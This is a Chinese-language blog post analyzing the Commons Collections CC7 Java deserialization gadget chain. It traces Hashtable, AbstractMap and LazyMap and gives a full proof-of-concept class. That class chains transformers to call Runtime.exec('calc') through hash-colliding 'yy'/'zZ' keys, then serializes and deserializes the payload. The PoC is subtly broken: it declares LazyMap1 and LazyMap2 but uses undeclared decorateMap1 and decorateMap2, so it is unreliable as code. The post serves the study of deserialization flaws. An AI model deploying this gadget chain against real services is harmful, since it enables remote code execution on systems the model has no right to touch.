前言 CC7本质上也是对CC1的改写,走到了万恶之源LazyMap最终导致反序列化。
前置知识 HashTable 散列函数(哈希函数)
中心思想:
比如我输入葡萄返回10,输入西瓜返回3,下次输入西瓜还是返回3
(传入不同参数时,哈希值一定都不相同么?事实上任何算法在理论上都不能保证。这种参数不同结果相同的情况学名叫做“Hash冲突(Hash碰撞)”,CC7就利用了这个小技巧)
在遇到 hash 碰撞的时候, 会调用其中一个对象的 equals 方法来对比两个对象是否相同来判断是否真的是 hash 碰撞。 在这之中使用的是父类 AbstractMap
的 equals()
方法。
那散列函数(哈希函数)
有什么意义呢?我们可以利用哈希值的特性,设计一张全新的表结构—-散列表(哈希表 HashTable)
散列表(哈希表 HashTable)
,是根据关键码值(Key value)而直接进行访问的数据结构。
也就是说,它通过把关键码值,映射到表中一个位置来访问记录,这个映射函数叫做 散列函数(哈希函数),存放记录的数组叫做散列表。 散列表(哈希表 HashTable)是由数组+链表实现的—-散列表底层保存在一个数组中,数组的索引由散列表的 key.hashCode()
经过计算得到, 数组的值是一个链表,所有哈希碰撞到相同索引的key-value,都会被链接到这个链表后面。
HashMap继承关系
如上图所示HashMap
是AbstractMap
的实现类, 同时这二者实现Map接口。
HashMap中没有实现Map接口的equals()方法,父类AbstractMapMap实现了equals()方法
LazyMap继承关系
LazyMap是AbstractMapDecorator的实现类同时这二者实现Map接口。
LazyMap中没有实现equals()方法,父类AbstractMapDecorator实现了equals()方法
(如果一个类实现了一个接口,那么该类必须实现接口中声明的所有方法,如果一个抽象类实现了一个接口,它可以选择不实现接口的所有方法,而把实现的责任交给它的具体子类)
利用链分析 猜想作者是受了CC6的启发,既然HashMap能实现反序列化漏洞,那HashTable是否也可以?最终是形成了CC7这条链。
Hashtable
的readObject()
调用了reconstitutionPut()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); 首先创建一个Entry,这是上文讲到的散列表中的那个数组。 s是我们传入的输入流 然后进入for 循环反序列化赋值给 key,value,然后调用reconstitutionPut方法。
继续跟进 reconstitutionPut()
方法,之后我们看到 reconstitutionPut()
方法调用了 equals()
方法—-e.key.equals(key)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; e.key.equals(key)其中两个key有什么不同? e.key:这是当前哈希表(table)中某个位置(index)已存在的键。e是一个 Entry 对象,表示哈希表中一个槽位的链表中的一个节点。所以,e.key 是已经存储在哈希表中的键。 key:这是从反序列化输入流(ObjectInputStream)中读取的新键。这个键是在反序列化过程中从流中读取的,并且需要插入到哈希表中。 其中e.key可控,是因为在反序列化过程中,键和值是直接从输入流中读取的
所以要看一下哪里有equals()
这个方法,找到了 AbstractMapDecorator
这个类中对map调用了equals()方法。
return map.equals(object)
中map是什么?这里只是AbstractMapDecorator
中定义了一个名为 map
的字段,存储对另一个 Map
对象的引用。
这个类是继承了 Map 接口,但是 Map 是一个接口,我们需要去找 Map 的实现类。
上面最开始就说了AbstractMap实现了Map接口,并且实现了equals()方法
可以看见最终调用了m.get()
方法,也就是如果m
可控,则可以完成调用LazyMap.get()
方法触发命令执行。在这里,m
由传进来的参数o
控制,也就是最初的key
。
调用链
1 2 3 4 5 java.util .Hashtable .readObject java.util .Hashtable .reconstitutionPut org.apache .commons .collections .map .AbstractMapDecorator .equals java.util .AbstractMap .equals org.apache .commons .collections .map .LazyMap .get
CC7 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class Main { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); HashMap<Object, Object> hashMap1 = new HashMap <>(); HashMap<Object, Object> hashMap2 = new HashMap <>(); Map LazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy" , 1 ); Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(LazyMap1, 1 ); hashtable.put(LazyMap2, 2 ); Class c = ChainedTransformer.class; Field field = c.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(chainedTransformer, transformers); decorateMap2.remove("yy" ); serialize(hashtable); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oss.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
为什么需要创建两个HashMap 如果两个hashmap相同的话会直接在hashtable.put()
的时候认为是一个元素,所以之后就不会在反序列化的时候触发equals代码
为什么需要创建两个LazyMap 首先看HashTable.put
,这里和reconstitutionPut
处的代码类似,都包含了*.key.equals(key))
代码。其中key
是传入的LazyMap
,tab
是全局的一个Entry
,根据hashcode
算出一个index
,只有entry
中有元素才会进入for
循环,从而进一步触发
所以可以看出,必须要两个或以上元素才能进入entry.key.equals(key))
方法。类似地,反序列化的触发点reconstitutionPut
处也是这样的逻辑,需要保证必须有两个或以上元素
进而可以得出的结论,能走到LazyMap.get
方法的只有lazyMap2
这一个对象
为什么选择zZ和yy作为key if中的第一个条件就是e.hash == hash
,意思就是两个key的hash必须相同。那为什么不把两个key设成一样的呢?这样两个key的hash绝对相等的啊。
但是如果继续往下跟代码的话就会发现在lazymap
的get方法中有以下逻辑,map的key不能重复否则就不会执行transform
函数执行代码了。
为什么Hashtable需要 put 两次 在Hashtable.reconstitutionPut()
方法中,第一次进入时tab
内容为空,无法进入 for 循环,进而没法调用到key.equals()
方法
为了调用两次reconstitutionPut()
方法,我们需要通过put()
两次内容,使得 elements
的值为2,进而在 for 循环里运行两次reconstitutionPut()
方法
为什么要移除第二个LazyMap中的元素
问题在AbstractMap.equals()
方法里,size()
的值为 1,而m.size()
的值为 2,所以我们需要remove
掉一个使其相等
为什么是lazyMap2.remove("yy");
?
在Hashtable.put()
方法时也会调用一次entry.key.equals(key)
因此在hashtable.put(decorateMap2, 2);
之后跟到AbstractMap().equals()
方法
这里可以看到,传入LazyMap.get(key)
中的 key 为yy
,继续跟进LazyMap.get()
方法
最后因为lazyMap2
中并没有yy
这个key
,因此会执行一个map.put("yy","yy")
的操作添加,所以在 POC 中,我们最后要把lazyMap2
的yy
给删除掉。
参考链接 ysoserial CommonsCollections7 & C3P0 详细分析 )
CC第7链HashTable触发点深入分析
java反序列化-ysoserial-调试分析总结篇(7)
JAVA反序列化之CommonCollections7利用链
CommonsCollections7利用链分析